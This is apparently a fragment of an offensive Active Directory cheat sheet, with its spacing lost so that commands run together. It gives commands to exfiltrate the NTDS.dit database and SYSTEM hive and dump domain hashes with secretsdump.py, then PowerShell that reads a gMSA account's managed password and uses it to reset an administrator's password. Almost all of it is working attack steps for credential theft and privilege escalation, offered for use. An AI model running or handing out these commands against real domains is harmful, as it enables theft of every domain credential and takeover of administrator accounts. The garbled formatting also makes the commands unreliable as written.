# REMOTE## Download .dit file (assuming evil-winrm is used)download<database_file>## Get system HIVEreg.exesavehklm\system<destination># LOCAL (after file downloads)secretsdump.py-system<system_hive>-ntds<database_file>LOCAL
gMSA
(ReadGMSAPassword abuse)
Group Managed Service Accounts (gMSA) are where Windows servers manage the password for an account by generating a long random password for it.
# Save the blob to a variable$gmsa =Get-ADServiceAccount-Identity <user>-Properties 'msDS-ManagedPassword'$mp = $gmsa.'msDS-ManagedPassword'ConvertFrom-ADManagedPasswordBlob $mp# Save the password to variables(ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword# Reset password of admin if the compromised user has GenericAll permissions$cred =New-Object System.Management.Automation.PSCredential <user>, $SecPassInvoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity <admin_user> -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'PASSWORD' -force)} -Credential $cred
Often we have the credentials belonging limited administrative accounts such as IT, helpdesk or support.
Sometimes, these accounts have an ability to reset passwords.
Note that the wording of the account name might be different, but related to aforementioned names